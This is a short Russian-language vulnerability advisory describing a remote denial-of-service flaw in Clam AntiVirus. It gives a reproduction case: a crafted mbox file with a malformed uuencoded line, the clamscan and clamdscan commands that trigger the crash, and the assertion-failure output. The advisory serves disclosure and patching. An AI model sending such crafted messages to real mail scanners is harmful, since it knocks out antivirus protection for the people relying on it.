Удаленый отказ в обслуживании против Clam AntiVirus

Описание: Уязвимость обнаружена в Clam AntiVirus. Удаленный пользователь может аварийно завершить работу программы.

Удаленный пользователь может послать email сообщение, содержащее uuencoded строку с некорректным значением длины через email сообщение, чтобы аварийно завершить работу антивируса.

Пример/Эксплоит:

>How-To-Repeat:

Save the following file to ~/clamtest.mbox, removing the leading 'X':

XFrom -
 
Xbegin 644 byebye
Xbyebye
Xend

Then do:

# clamscan --mbox -v ~/clamtest.mbox
assertion "(len >= 0) && (len <= 63)" failed: file "message.c", lin
e 887
Abort (core dumped)

or

# clamdscan -v ~/clamtest.mbox; ps ax | grep clam

URL производителя: http://www.clamav.net/

Решение:Неофициальное исправление см. в источнике сообщения.